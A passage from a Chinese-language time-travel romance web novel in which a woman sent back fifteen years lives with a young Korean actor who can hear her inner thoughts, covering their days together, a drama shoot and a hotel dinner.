总不能又去咖啡厅洗杯子吧！ 「这不是……遇到了裴代表吗？」系统也知道它坑了宿主，但是能遇到熟悉的人，说明事情没有那么糟糕。 「我现在去和他说，我从15年过来的，是他未来的员工。你觉得裴永俊是觉得他自己疯了，还是我疯了？」 系统：「那我给你一个金手指？读心术，当然只对裴永俊有用。」 它想到之前的新手大礼包还没有给宿主，被它偷偷昧下了。 宋玉妍低头思考了一会，这个金手指对她来说很鸡肋，但也不是完全没有用处。 「你不要挂我身上，你挂裴永俊身上，让他能听到我的心声！」 「好。」 等裴永俊录制完节目回来，看到鸠占鹊巢的宋玉妍，眉头皱了起来。 她怎么还没有走？这个待机室就这么大，她把位置占了，他去哪里换衣服？ 「也不知道该怎么去取信于裴社长，这种事情发生在我身上我都觉得很不可思议。」 裴永俊背对着宋玉妍，看到这个女人还没有走，心中一片腻烦。现在不想去深究她为什么叫他社长，只想让她赶快走。 为了维持演员的形象，他不得不挂上礼貌的微笑，语气温和。 “这位小姐是有什么难言之隐吗？”他看起来一副好好先生的样子，语气更是让人如沐春风。 “不是，我暂时没有落脚地……”宋玉妍转身过来，垂着头，只有嘴唇在小幅度嗫嚅。 「李正宰怎么能现在服兵役呢？他不是刚走红就服了兵役吗？」 双重奏在他的耳边响起，裴永俊一瞬间笑容挂不住了，这是口技？他推了推眼镜，眯起眼睛死死盯着她的嘴唇，心下狐疑。 “你是李正宰xi的女友吗？他联系不上，把你要不要联系他的家人？” “不用了。” 「他的家人现在怎么会认识我呢！况且，现在应该在忙着照顾他那个自闭症的哥哥吧！」 又是二重奏！ 就算她是个满嘴谎话的骗子，也应该是圈内人，不然怎么会如数家珍呢？裴永俊觉得有些蹊跷，一时间不知道该怎么处理。 「可惜手上资金完全没有，不然可以在这个时候多买几套房，首尔的房价至少能翻十倍。」 听到投资赚钱，裴永俊的眼睛瞬间亮了起来。 赚钱？！虽然他对未来的房地产看好，但是翻这么多，是不是太过夸张了？他按耐住蠢蠢欲动是心脏，还是没有相信对方说的话。 「没有初始资金都不知道该怎么生活了，实在不行把社长的黑料卖给狗仔吧！当时裴社长，是在江南的那个夜店做牛郎来着？」 宋玉妍嘴唇没有动，如玉一样的手臂撑着脑袋，像是在低头沉思该去哪里找狗仔。 听到这话的裴永俊整个人都不好了，像是炸毛的猫咪，几乎维持不住脸上一直焊着的笑容。 突然，他伸手捂住宋玉妍的嘴唇，手指贴着她的腮边，无意识地蹭了蹭。 “呜、呜……”宋玉妍像是不知道他在发什么疯，突然凑近、又突然捂住她的嘴。另一个手臂贴在她的腹部，手指按在她的侧腰上。 这个姿势很暧昧，她为了参加活动好看，双腿是裸露着的。被裴永俊这样冒犯式地抱住，贴住的西裤源源不断地把他的热量传过来。 「他这是在干什么？疯了？他最爱的不是财阀千金？明明没有穿越之前都快和LG副会长的女儿订婚了！」 裴永俊皱了皱眉毛，明明捂住了嘴，腹部也没有震动，不是腹语。为什么还能听到宋玉妍的声音？还有她怎么知道他的过往？ 像是想要再次验证些什么，他的贴近对方的耳朵，温热的气息让它染上了绯红。 带着撩拨的意味，又像是情人间的呢喃：“我以为这位小姐主动找到我，又停留在我的待机室不走，是默认我可以这样对你吗？” 宋玉妍小幅度地摇摇头，整个人被他禁锢，像是一个玩偶一般。 「不是裴社！你年轻的时侯玩的这么花？明明之前，我问你是不是当过牛郎的时侯，你和我说的是，只是和朋友喝了几杯。都是狗仔的捕风捉影。结果！这娴熟的手法，绝对是欢场老手！」 裴永俊脸上的笑容僵硬了，到底是谁把那些给爆料出去的？完全就是一派胡言、添油加醋、捕风捉影，那笔封口费给他还回来！ 确认了心中所想之后，他松开了手。看来面前的女人没有在搞花样，他确实能够听到她的心声，只是这个能力是对所有人都有用？ 被松开的宋玉妍深吸了一大口气，脸上因为憋闷，温度迟迟降不下来。 “抱歉，我刚刚只是想试试海姆立克急救法，下次录节目要用。”裴永俊脸上挂着的笑容还是如出一辙的温柔，只是看在对面人的眼里，现在只觉得他装模作样。 “这样啊！”宋玉妍干笑了两声，“自我介绍一下，我叫宋玉妍，今年30岁。” 「装还是社长会装，20代的社长比40代的社长难搞好多，明明当时连香奈儿的代言都能帮忙谈。现在……」 “宋玉妍xi是那一年生人啊！” 她刚想说85年，反应过来之后，嘴边的话转了个弯。 “我是70年生人。” 「说不定熟悉之后，裴社还要叫我怒那呢！」 听到让他叫怒那的心声之后，裴永俊似笑非笑地看了她一眼。 宋玉妍心虚地垂着脖颈，光线勾勒出优美的弧度。她的眼里闪过一丝笑意，人总是对自己亲眼所见的会更加坚信不疑。 「系统，我的心声你要审核一下再 让他听到。」 她可不希望自己什么隐私都没有。 「好。」 “你没有住的地方，那我送你去酒店吧！”裴永俊慢条斯理地整理着自己凌乱的衣领，一边把它抹平一边提议道。 “不行！” 「我连身份信息都没有，去酒店就是自投罗网，万一把我当作间谍怎么办？」 裴永俊眼里闪过一丝精光，这位从未来过来的宋小姐还是黑户，那就更好掌控了。 面上他还是浮现出为难的情绪，“可是我的经纪人家是一室一厅，我家……更加不方便！” 宋玉妍像是窘迫，咬了咬下嘴唇，力气大的都能咬出血珠。 “不能去酒店，我……我是逃婚出来的，要是去酒店我家肯定要把我绑回去结婚！”因为不知道该如何解释没有身份信息，干脆编了个拙劣的谎言。 「对不起！李正宰xi，我们下周的婚礼我可能赶不上了。」 说她是骗子还真没说错，谎话是张嘴就来。裴永俊虽然道德底线比较宽松，到底还是有的，现在听到她说谎，最后的那一抹良心也所剩无几。 回去的路上，裴永俊的经纪人看到后座上的艺人和坐他旁边的女人，好几次欲言又止。 最后还是开口了，“裴永俊xi，这是你为公司招来的演员吗？” 不等正在闭目养神，整理思绪的男人说话，宋玉妍先开口道：“阿尼！我不是艺人，我都30岁了，错过了做艺人的年龄。” 「天天在片场待着多累？去年都帮公司赚了150亿韩元，现在才不要当艺人了！」 听到150亿，裴永俊呼吸都急促了一瞬 “那你们是什么关系啊？” “情侣，我们是情侣。”坐在左边的男人心里打定，要好好对宋玉妍。让她把未来的赚钱项目都吐露出来，然后让人好好给他赚钱。 第127章 第一百二十七章 「情侣？裴永俊他怎么好意思的，我都是要和李正宰结婚的人了！」 听到这话的男人，嘴角勾起的弧度更大了。 李正宰的未来妻子？事情好像变得更加有意思起来！ 「他不会对我还念念不忘吧？」 裴永俊：？？？ 宋玉妍的意思是，他们两个还有过一段？不应该啊，他喜欢的向来都是出身高知家庭，对他的人生有帮助的伴侣，怎么看她都不符合要求。 他仔细打量着靠着车壁休息的女人，晚霞的光芒像是给她镀了一层柔光，模糊的光线像是在给她增添氛围感。 又浓又密的黑色长卷发被梳成了公主头，鬓边卷翘的碎发落在她的腮边，雪肤桃腮看起来确实是……动人。 他偏过头去，又不着痕迹地多看了一眼。 裴永俊确定自己不是光看脸的那种男人，虽然她漂亮到可以让所有人为他心动。 上车到现在，只能听到宋玉妍的心声。他那能不知道，这个能力只对她有用。 “晚上，你暂时住我家吧！等有时间我去给你上个户籍。” 她像是看着窗外的景色沉迷了，等裴永俊提高声音说第二遍，才反应过来。 “好！” 果然是在说谎啊！还说什么逃婚、不想去酒店住。裴永俊清俊的脸上是浅浅的笑意，眼底划过的暗光透着一丝玩味。 只觉得她像是晨间剧看多了。 「上身份是这么好上的吗？那我还来抱未长成版的裴社长大腿干什么？干脆先自己好好赚钱！要是有钱的话，明年把他签到我公司来，让他给我赚个盆满钵满」 「韩流这个词，最开始还是形容他的呢！」 听到这样的消息，裴永俊有些被气笑了，面部肌肉呈现出一种皮笑肉不笑的状态。也许未来的他确实是欣赏过对方，毕竟两人的爱好是一致的。 “上身份会有点难，到时候说你是延边过来的朝鲜族吧！你会中文吗？不会的话好好学一点。” 说完这些他就不再说话了，抱着胸靠在车座上休息。 “内！” 「中文的话不是很简单吗？还用学？」 他有些无语了，对方的智商有点像是薛定谔。 对于这个突然出现的女人，他还是没有完全被打消疑虑。但是只要对方给他带来的利益足够高，他可以不在乎对方到底是什么身份。 「不愧是这个世界我最信任的人，为了我的身份居然还要联系自己的人脉……」 宋玉妍在脑海里纠结，他所谓的找人是不是做牛郎时认识的！ 裴永俊听到这段牙都快咬碎了，怎么长的漂漂亮亮的一个人，偏偏长了张嘴？ 他被迫睁开眼睛，语气生硬：“我之前是因为要攒大学的学费，所以在酒吧当过一段时间的侍应生。” 说完之后，他反应过来，对方也没有开口问他啊！他被宋玉妍的智商给传染了！ 他尴尬到捂住上半张脸。装作扶眼镜的样子。 「嗯嗯嗯！对对对！」 算了，裴永俊不再辩驳什么，和陌生人有什么好说的。 等把他们两个送到裴永俊家的时侯，经纪人还怪异地看了他一眼。 什么时候自家艺人多了一个女友？他怎么不知道？而且两人在来的路上几乎不交谈。 看着这个老旧的房屋，两室一厅，这让宋玉妍瞪大了眼睛。 「不是吧！社长现在这么穷？不但夏威夷的别墅买不起，龙山区没有房产就算了，居然连江南的高级公寓也没有吗？」 裴永俊开了灯，给她拿了鞋套之后，自顾自先给自己倒了杯水。 “我才走红，赚到的钱大部分都被经纪公司抽走了。” 虽然被宋玉妍小瞧了，但他丝毫不生气。知道自己未来会在龙山区、夏威夷购置房产，他只觉得今晚的心情都变好了。 “没关系，我觉得这样的条件已经很不错了。”宋玉妍面上是温柔的笑意，心底却在疯狂吐槽。 「算了，20代的社长和40代的完全没有办法比，我再也不嫌弃他的迈巴赫老土了。」 裴永俊就算在厨房，离得有些远，但还是能听到宋玉妍的心声，当下心情更好了几分。他从冰箱里把泡菜一样样拿出来，盛好米饭端到餐桌上。 “我们先吃饭吧！”他打算静观其变，先把人养着再说。 “你就给我吃这个吗？”宋玉妍看着刚从冰箱里拿出来的凉拌海带、酱萝卜、辣白菜，有些不可置信。 「这种刚从冰箱里拿出来的泡菜，吃完真的不会得胃病吗？」 裴永俊有些无奈，现在经济危机才过去不久，加上韩国身不二土的观念，能拿出这些已经是不错的家庭条件了。 但是对上她的脸时，忽然有些愧疚。这张脸看着就输完全是不能吃苦的样子。 他重新回到了厨房，冲了碗紫菜汤放在她手边。 “现在的条件就是这样，牛肉我肯定是买不起的！” 「还不如那个把我发配去养牛的40代社长呢！至少当时韩牛是管够的。」 听到她处处把自己和未来的自己比较，就算知道都是一个人，裴永俊心底还是有些不舒服。 他只当宋玉妍对物质要求比较高，完全不想说话，自顾自地吃饭。餐桌上两人一时无言，看着宋玉妍拿着筷子一粒一粒地挑着米饭，挑一次他额上的青筋跳一次，再在心底叹口气。 幸好她不是真正的女朋友！ 等到半夜，躺在床上的宋玉妍怎么样都睡不着。嗓子眼像是被什么堵住了一样，要吐吐不出来，胃在疯狂抽缩，疼的她直冒冷汗，换了好几个姿势都是无济于事。 太渴了，宋玉妍只能费力地爬起来，去客厅喝水。她抿了抿干燥的嘴唇，用力地吞咽着。 打开冰箱拿出矿泉水，看到表面起水雾的瓶身，她只觉得麻烦。要是把冰水直接喝下去，恐怕会让糟糕的胃部状态雪上加霜。 她去厨房转了一圈，没有看到电热水壶，只能败兴 而归。 刚处理完工作的裴永俊出来，准备去阳台上抽个烟放松一下，就看到餐桌边有一团黑影锁在那里。 他被突如其来的声音吓了一跳，反应过来是宋玉妍之后，心稍微安定了下来。 「也不知道后面是不是一直留在这里。」 “你在这里干什么？”他靠近餐桌，然后突然发问。 看到宋玉妍被突如其来的声音，吓得整个人几乎要从椅子上弹起来，他的心情才好一点。 等看到她比白天苍白一点的脸色，和用手按着的上腹，裴永俊意识到她这是不舒服了。 “生理期还是胃病？” “胃有些不太舒服，没有找到烧水壶。”因为生病她的声音有些嘶哑，听起来恹恹的。 他叹口气，数不清这是今天第几次叹气了，转身去厨房把橱柜里的烧水壶拿了出来。从冰箱里拿出四瓶矿泉水，倒进壶里，点燃燃气。 厨房门是打开着的，听着里面烧水的咕噜咕噜声，宋玉妍的胃好像转好一些了。 「果然无论多久，这种从冰箱里直接拿出来的泡菜就是对胃部的一种考验。」 她把手放在木桌上，脸直接贴在桌子上，整个人透着一股莫名的乖巧。 裴永俊看着她穿着自己母亲的睡衣，深灰色不显得老气，在她身上空落落的。 “烧好了，你喝吧！喝完舒服一点赶紧去睡觉吧。” 他把透明的玻璃杯放在她的手边，也许是因为夜晚会让人变得感性起来，语气里透着点微弱又真挚的关心。 “谢谢。” 有点关心，但是不多，裴永俊依旧按照原来的想法去阳台上抽了一根香烟。 等宋玉妍把水喝到一半之后，她像是有些困了直接靠在餐桌上睡着了。 他一出来，看到的就是这样的一幅画面，看着她莹润的皮肤在月光下像是发着光。 裴永俊看着她的皮相不由地感叹到，幸好对方一来碰到的人是他。 虽然他的道德底线比较灵活，到底还是有的。慢慢凑近宋玉妍，烟草味像是让她有些不适，鼻头不自觉地抽了抽。 裴永俊似笑非笑地盯着她一会，弯起手臂，像是要把她抱回房间一样。 明显听到她呼吸急促了一点，然后在她睫毛轻颤的时侯，屈起指节轻轻敲了她额头一下。 “你赶紧起来，不要在这里睡着了。”他的语气里，带着三分戏谑一分关心七分漫不经心。 等宋玉妍睁眼，无语地瞪着他，只觉得难怪他能成功呢。有这样的定力他做什么不能成功？ 「不是，社长他怎么回事？40代的时侯说如果我去成均馆读大学好了，20代看到我睡着，让我自己爬起来回去睡。」 「隔着十几年，男人的变化就这么大吗？明明都说是越老越精明，怎么他反着过来？28岁比40岁的时侯难糊弄多了！」 听到她的心声，裴永俊只觉得，果然！她刚刚就是在装睡！难得占据了上风，这让他心情很好地笑出了声。 “谢谢裴永俊xi的提醒，不然我肯定要感冒了，到时候吃的苦就更多了。”宋玉妍脸上还是勉强的笑意，心底在疯狂吐槽她。 裴永俊在心底摇了摇头，他有点相续自己之前慕恋对方了。就算心里有再多不满，脸上还是笑容一片，这有点像是……另一个他？ “没关系，既然把你带回来了，那就要好好照顾你。”虽然目的是为了赚钱，但论迹不论心。 宋玉妍面上还是柔和的笑意，只有她知道自己心底吐槽的有多厉害。 「社长他能不要这样笑了吗？每次想要坑投资人的股份时，他就笑得和现在一模一样。」 听到这话，裴永俊瞬间把脸上的笑容收敛了起来。生意上的事情，怎么能叫坑？明明是对方技不如人。 第128章 第一百二十八章 第二天早晨，宋玉妍看着桌上的牛奶和鸡蛋卷，扫了一眼，有点嫌弃地撇了撇嘴。 这样的早餐只能说是差强人意，至少比一早起来，就吃从冰箱里拿出来的泡菜强。 「赚的那150亿到底还是错付了，20代的社长真的好穷啊。」 听到宋玉妍内心吐槽的裴永俊，只觉得心情很复杂。感觉他未来的一段时间，生活因为她不会单调了。 “你怎么会知道我没有身份信息？”宋玉妍看起来智商回拢了，像是昨天晚上，躺在床上复盘了很久。 裴永俊没有一大早就戴眼镜，听到她的心声只是包容地笑了笑，看在能给他赚钱的份上。 “不想去酒店，借口还这样拙劣，只能是黑户了。”他笑的温润，舒服的气质让人不自觉地心生好感。就是说出来的话足以让人对他好感全无。 宋玉妍看到他这标志性的笑容，心脏都提到了嗓子眼。 「完了完了，又是这种笑容，他又要算计谁了吗？我的秘密不会被他发现了吧……」 看到因为心绪不宁，狼狈垂下头的女人，裴永俊脸上的笑容一僵，随后恢复正常。 他看起来情绪冷静，内核稳定的样子。 “延边？北面？还是在日本的朝鲜人？” 听到三个错误答案的宋玉妍舒了口气，在想着将错就错，选择哪一个身份博取他的信任。 “我是种花人。” 「时光倒退15年这种事情，除了发生在科幻电影里，现实应该没人相信。」 “这样啊。”裴永俊后续只是安安静静吃自己的饭。 这在她心声里倒是没有说，看来最基本的防备心还是有的。 帮宋玉妍拿到居住证，把身份信息录制好后，两人都松了口气。 “裴永俊xi，能借我1亿韩元吗？”等属于她的身份证件下来，银行卡办理好之后，宋玉妍毫不犹豫地开口了。 「等有了本金之后，先投资一点短期股票，资金回笼之后，再买一点三星和现代的散股。」 听到她开口，裴永俊无奈地笑了笑，“我只是一个演员，怎么可能拿得出这么多现金？” 2000年的1亿韩元和15年1亿韩元，完全就不是同一种购买力。 看惯了自家社长用公司股份，去敲几十亿的资金，现在却连1亿韩元都捉襟见肘。宋玉妍不得不接受，裴永俊年龄缩小，财富也跟着缩小的事实。 「行吧，本来三星因为大力发展电子产品，学者会员制制度出来，这对世界各地的高级人才都具有吸引力。后续当然也能让整个集团的市值翻一番。我还想跟着喝口汤呢！至于现代汽车……」 虽然知道是心声，声音的大小几乎不会变化，但裴永俊还是努力支起耳朵，想要多听一点。 宋玉妍暗地里勾了勾嘴唇，不准备往下说了。甜头嘛，给一点就行了。 三星确实在电子这一块耗费了大量投资，甚至在海外建立了研究室。 裴永俊垂着眼眸，思考自己要不要赌一把，相信她的话。 —— 两个月后，《情定大饭店》开拍。宋玉妍对这部爆剧很好奇，她甚至怀疑，裴永俊是不是娱乐圈之神 的亲儿子。 不然没有办法解释他的爆剧体质，《阳光场地》、《初恋》的收视率都超过了百分之六十。 在《情定大饭店》里他明明是男二，但是稳压男主一头，甚至让编剧开启了修改剧本，男二上位的先例。 宋玉妍忍不住在心底酸了，这样一帆风顺的事业运，真的让她羡慕。 她看了看，在片场还穿着上一场属于角色戏服的裴永俊。该怎么样才能蹭到对方的事业运呢？ 他穿着蓝灰色衬衫，衣袖挽到手肘处，肌肉的线条分明。解开风纪扣和下方的一粒扣子，银色的项链衬出他几分欲色。 宋玉妍忍不住再瞟了一眼，然后忍不住用余光注意着。没有人告诉她，老板年轻时候皮相这么不错啊。 「难怪能带火江南区，我是富婆我也上了。」 听到未来自家艺人心声的裴永俊，嘴角忍不住抽搐。这种捕风捉影的新闻，在她这里是过不去了吗？ 他整理自己衣袖上的褶皱，就当什么都没有听到。 “裴永俊xi，你怎么把女朋友都带到片场来了？”他的经纪人恨铁不成钢地把人拉到一边，觉得这样是对他的演员形象是极大的破坏。 “阿尼，她现在是助理。” 从15年后来的宋玉妍，完全就是个pabo。上次居然问他电话卡是什么，出门买东西动不动就掏卡。所以干脆把人放在身边比较好。 经纪人看了他一眼，只觉得一言难尽。“你站她身边，谁能分得清谁是艺人谁是助理？” 谁家助理比艺人还像是艺人的？满身星味的宋玉妍，看起来比他还想是艺人。 “你要我买的鲜榨橙汁，喏。”经纪人把手里的果汁给他，有些疑惑地问道：“你不是不爱吃水果吗？” 何况现在的水果品类不算丰富，这样榨汁喝，未免有些奢侈。 裴永俊把吸管插上，走到宋玉妍身边，递给她。 “拍摄还不知道要多久才能结束，你先喝点果汁垫下肚子吧。” 这段时间他听着宋玉妍的心声，对方一直把他和未来的裴永俊做比较。 听得他胜负欲上来了，就算现在不能给她买爱马仕、包下公司周边所有的咖啡厅举办生日咖啡。但也不能太被比下去，基本的照顾还是可以的。 远处的经纪人，看到自家艺人还贴心地拿出纸巾。自家艺人让宋玉妍把唇上的口红擦掉一点，这样喝起来不会破坏她的唇妆，这让他无言以对。 这谁看到了，会觉得宋玉妍是他的助理？有哪家艺人会这样照顾助理的？ “太甜了，我不喝。”宋玉妍皱了皱秀气的鼻头，不喜欢这种纯果汁，一口下去喉咙甜到发渴。 「之前签的合约对体重有要求，要是回去发胖了。我难道要和社长说，是28岁的你把我喂胖的吗？」 听到这话的裴永俊手臂一僵，几乎停滞在空中了。差点忘记了，宋玉妍能过来，自然也能回去。 他垂下了眼睛，平光镜遮掩了眼底的烦躁。 “谢谢呀，不过我不太喜欢喝橙汁。” 听到宋玉妍这样说，他自然没有勉强。而是用力扯出笑容，把吸管喂到自己嘴边，吸了一口。 甜吗？怎么他喝起来有些苦味？ 开始拍摄之后，他按照导演的要求，在游泳池里游了好几个来回。努力忽略坐在马扎上，笑意盈盈地看着他的“助理”。 「不愧是老板，游了两千米还脸不红心不跳的。」 「现在的电视剧拍摄还是按照规定来，没有为了耍帅就不让演员戴泳帽。」 裴永俊听到宋玉妍这话，换气时差点被水呛了一口。 “好了，裴永俊xi可以出水了，看一下肌肉线条是不是更加明显了。” 听到导演的声音后，他从泳池中破水而出。看到镜头拍摄好了之后，下一秒泳帽、泳镜被他扔到岸边。水珠顺着发梢往下淌，温润的面容和宽肩窄腰的身材形成反差。 「不愧是偶妈那一辈的偶像，这脂包肌看起来刚刚好，她们那一辈吃的真好。」 和宋允儿对视的裴永俊差点崩不住面部表情，15年后的女生用词都这么大胆了吗？ 「难怪这部剧能火，白切黑的腹黑深情狐狸和外柔内刚、坚韧不拔的小白兔，这两个角色的人设太好了。」 宋玉妍作为演员，早就腻烦了剧组的一切。圈外人喜欢和自己喜欢的演员近距离接触、窥探圈内的绯闻八卦，但对她都毫无吸引力。 正在拍摄的这两位，不仅外貌上看起来登对，就连身高差都很好磕。 「不愧是wuli社长，这眼神看狗都是柔情万丈。和宋允儿前辈太搭了！两人要是能和崔智有那样二搭就好了！」 裴永俊感受到那灼热的视线，眉头皱了一下又很快放松了下来。幸好这一条是在水里，不然表情不对，拍摄过不了他一定会被导演骂。 他压下心底的不舒服，让表情看起来更加自然、放松。如果不是能听到对方的心声，可能他也会以，为宋玉妍对他“另有所图”吧。 当这一条过了之后，裴永俊直接拉开和宋允儿之间的距离。避之不及的态度，让剧组的工作人员有些错愕。 宋玉妍突然想起来自己名义上是他的助理，连忙拿起浴巾给他。 “能帮我系一下吗？”裴永俊状似无辜，一开始只想着逗一逗宋玉妍，收点她近距离看戏的利息。 「社长怎么年轻的时候是这样，明明40代的时候温润如玉又体贴。」 又是这样，每次都是比较，40代的裴永俊好不好他不知道，但现在的他才是最好的自己。 他用后槽牙磨了磨口腔里的软肉。憋闷的心情，并没有因为运动的停止而减轻，更像是得不到宣泄的火山口，汹涌的热气无处释放。 他抽过宋玉妍手里的浴巾，胡乱地把自己的身体一裹。发梢上一直滴落的水珠也不去管，而是坐到角落，用力地擦拭着自己平光镜。 宣泄一样的大动作不像是擦拭，更像是想要折断镜腿。 就在裴永俊在反思自己这莫名的情绪时，一个柔软的毛巾罩住了他上方的光亮。轻柔的揉搓，把头发上的水汽吸干了一些。 「年轻时候的社长……好像小狗，就连没有整牙之前的犬齿，也很像。」 第129章 第一百二十九章 小狗？裴永俊只觉得好笑，还是第一次，有人当面用这种冒犯的词语形容他。 听到宋玉妍提到他的犬牙，他抵了抵上牙膛，用舌尖描摹着牙齿的形状。 「性格却一点都不像小狗，更像是狐狸，满肚子算计。」 「好像狐狸也是犬科动物。」 他怀疑宋玉妍是不是故意的，不然怎么每句话，都能让他这么不舒服？ 但是头上的力道正好，隔着毛巾，宋玉妍还用指尖，在各种地方轻轻按压。 这样细腻的手法，不输美容院的工作人员。裴永俊借着毛巾的阻隔，放纵自己闭上了眼睛。 香甜的玫瑰花香像是酿造成的酒。馥郁又饱满的味道，遮住了泳池里那股似有似无的消毒剂气味。 “等会结束拍摄太晚了，我们就在华克山庄随便吃一些吧。”裴永俊闭着眼睛，声音轻柔地提议道。 作为韩国消费水平最高的酒店，华克山庄的消费并不低。 要不是从宋玉妍那里听来的一些投资消息，赚了一点小钱，他也不会这样奢侈。 裴永俊似乎发现了，他在金融领域上有点天赋。明明爱是上摄影，但最近这段时间在股市里的各种操作，有种得心应手的感觉。 “内！” 宋玉妍心声都变雀跃了起来。 「社长这是发达了吗？不过他真好！赚了钱居然第一时间请我吃高级料理。华克山庄作为最顶级的酒店，消费可一点都不便宜啊！」 裴永俊听到他内心的夸赞时，嘴角勾起起来。算她还有点良心，这次没有拿他做比较。 等导演要求再补拍几条的时候，裴永俊毫不犹豫地把浴巾剥开，准 备下水。 就是入水的时候没有像之前一样，扶着栏杆慢慢向下，而是从岸上直接跳了下去。对着宋玉妍这边，姿势不着痕迹地调整一下，看起来像是一条发着光的、轻盈的银鱼。 宋玉妍看着自己身上被溅上的水珠，只觉得自家老板没事吧！ 「不是！社长这是怎么了？不像28岁，倒像是8岁。」 她一脸无语地看着未来社长，转身把泳镜摘下朝她笑笑。那笑容要多温润有多温润，看起来人模人样的。 裴永俊看着她吃瘪的样子，心情很好的扩大了笑容，露出不算整齐的犬牙。 他想，未来的裴永俊对她有好感，可能是因为待在一起能够放松。不全是为了那150亿韩元。 晚餐时候，宋玉妍换了一件有着大面积花卉的吊带短裙，外搭一件黑色的短款西装。把她原本好的身材比例修饰地更加凹凸有致。 复杂和简约，在她身上达成了一种微妙的平衡。裴永俊给她到了一杯香槟起泡酒，看着刚从室外进来，被冻的有些瑟瑟发抖的女人，很是无奈。 “大冬天穿这么一点你不冷吗？给你我的大衣你也不要。” “漂亮就好。”宋玉妍从颤抖的齿间吐出几个音节。 「你的大衣颜色老气，和我的裙子一点都不搭，况且那种长度会压塌我的裙摆。」 裴永俊抿了一口香槟，从她胸前那抹雪色划过，细腻柔软看起来比顶上的灯光还要耀眼。他又抿了一口，像是因为刚刚运动过量，口渴了。 菜单被男人绅士地放在她的手边，宋玉妍也没有丝毫客气。之前在keyeast工作，和社长出去一起社内聚餐时，她也向来是第一个点单的。 两世的她，对这种相处模式都习以为常。 “两份韩牛，部位就菲林那一块，一份海鲜拼盘、一份水果沙拉、再来一个布朗尼蛋糕。” 她不觉得自己点多了，一直以来所有人都告诉她喜欢什么直接点就好。 裴永俊听着她报的这些菜名，视线转到她一直挺立着的腰肢上。良好的仪态让她看起来落落大方，像是习惯了这样场合的富家女。 “社……裴永俊xi，你还要加些什么吗？” “再加一份韩牛和沙拉吧。” 看着账单上不菲的价格，他的心脏在滴血。这一顿都能赶上他拍摄《阳光场地》时，到手的三分之一片酬了。 韩牛上来之后，他熟练地拿起烤夹，就像是做过很多次那样。等牛肉暗红色的肌理变成浅棕色，表面微焦。他再拿起剪刀把肉剪成，刚好够一口吞下的分量，顺手把带着海盐的味碟放在宋玉妍的手边。 等裴永俊做完这些，他自己都愣住了，太熟练了！ 就像是做过千百次那样！ 「居然还记得我的口味，九分熟、微焦、吃牛肉只蘸海盐。」 宋玉妍心下讶异，狐疑地看了他一眼，放下叉着蜜瓜的叉子，嘴里一边咀嚼，一边在心底思考。 「难道社长也？」 裴永俊心脏开始快速律动，一时间有些头晕目眩。这顿饭明明也是他打算犒劳自己的，却吃得食不觉味。 他知道宋玉妍长得好看，在灯光的氛围下，她的容光还要盛三分。 她的吃相很好看，像是在确定他之前对于富家女身份的猜测。绸缎一样的乌发散落在背后、肩头，西装被她脱了下来，室内过热的温度，让她的肌肤呈现一种粉珍珠的光泽感。 这让裴永俊的视线一直停留在宋玉妍的身上。他甚至有些懊恼，为什么28岁的他，赚的钱不够。 不够到不能给宋玉妍买奢侈品牌的裙子，这条裙子虽然好看。但是他还是注意到领口处冒出来的线头，磨着她的皮肤，留下了一个红色的印子。 「他怎么不说话了？应该不是40代的社长，那个时候的社长眼神会更加柔和。」 宋玉妍垂着羽睫，精致的眉眼像是浓郁夏日油画，色彩、明暗对比分明。 裴永俊听到她这句心声，很难形容出自己是什么心情。 他苦涩地扯了扯嘴唇，惯用的笑容都挤不出来，握着杯梗的手指不断扣紧。哪怕两次高考失利都没有给他带来心酸的感觉，但现在他尝到了。 不一样的，在宋玉妍眼里裴永俊和未来的裴社长是同一个人。但是在他本人看来，不一样！ 就算是不同时间段的他，怎么保证，不同时期裴永俊的灵魂底色都是一样的？在他看来裴永俊是裴永俊，裴社长是裴社长。 此刻他真真切切地感受到，和宋玉妍之间隔了整整十五年。 那个裴永俊对她好吗？能让她这样念念不忘？就连和他相处的时候，无时无刻不在怀念15年后的他。 明明只喝了两杯香槟，但是他却觉得头疼欲裂。 他定着宋玉妍手里的叉子，出了神。 第130章 第一百三十章 把宋玉妍送回他隔壁之后，裴永俊有些心绪不宁地回到了自己家。 最近他的情绪很奇怪，明明应该把精力全部放在拍摄上，但注意力都在宋玉妍身上。 每天听着她心情阴晴云雨的播报，她情绪低落时，裴永俊想方设法地想要把人哄开心。她高兴的时候，连带着他工作效率也会提高。 为了让她住的更加舒畅、不被狗仔打扰日常生活，裴永俊甚至租下了自家隔壁的房子。 回到家，他打开了客厅的一盏灯，孤零零的灯散发的灯光看起来都有些可伶。 烟雾随着火星的吞噬，一缕一缕在空气里飘转。裴永俊疲惫地摘下眼镜，放在茶几上。单手撑着头，指节在太阳穴轻轻摁着。 “人会反复爱上同一个人吗？不管是28岁还是40岁？这难道就是生理性的喜欢？” 零落的灯光不能回复他的消息，只有苦淡的烟味在回应着他。抖落的烟灰像是废弃的思绪，沉淀在水晶烟灰缸里。昏暗的光线模糊了他的轮廓，像是一尊静止的雕像。 隔壁的宋玉妍现在在干什么呢？大约是睡了吧！搬出去之后，她的心声就从清晰可闻变得若有似无。 坐在沙发上的裴永俊只觉得自己落入了网中，他越是挣扎，这网就收地越紧。他能做什么呢？只能叹息吧。 《情定大饭店》还在继续拍摄，甚至转到了洛杉矶，开起来韩剧海外拍摄的先河。 在和宋玉妍说自己要出国的时候，裴永俊有些不知道该如何开口。 从遇到她开始，两人就维持着一周见21次以上的频率，几乎是形影不离的。 他这段时间离开，肯定要把经纪人带走。到时候留下宋玉妍第一个在首尔生活，说实话……有些不放心。 “宋玉妍xi我要出国工作，可能不能带上你。”再难说出口的话语，最终还是说了出来。 裴永俊有些忐忑不安，推了推滑落的眼镜，在心底猜测她会是什么反应呢？ 是有些手足无措、茫然、慌张还是其他？宋玉妍从穿越过来就一直和他待在一起，所有的大小事务都被他一手包办。 裴永俊享受这种能够掌控所以的感觉，想到宋玉妍对他的依赖时，嘴角的笑容几乎要抑制不住了。 「洛杉矶！这是为了完善申东贤的古早霸总人设。」宋玉妍在心底有些期待这部剧的最终效果，《情定大饭店》她都是看切片。 「开直升机出场的男二也就这一个了吧！」 听到宋玉妍内心的夸奖，裴永俊敛在眼眸里的笑意遮都遮不住。他现在28岁，至少在外貌上肯定不会输给15年后的自己。 至少皮相上的优势很大，不然也不至于抱着试一试的态度去电视台面试，就被看中直接出演男一号。 裴永俊有些受用宋玉妍对他外貌的夸赞。虽然《情定大饭店》的成片还没有播出，但是看她的反应，就知道反响很不错。 「正好，在他去洛杉矶的这段时间，我可以去看看李正宰。他这么这个时间点入伍？要是……」 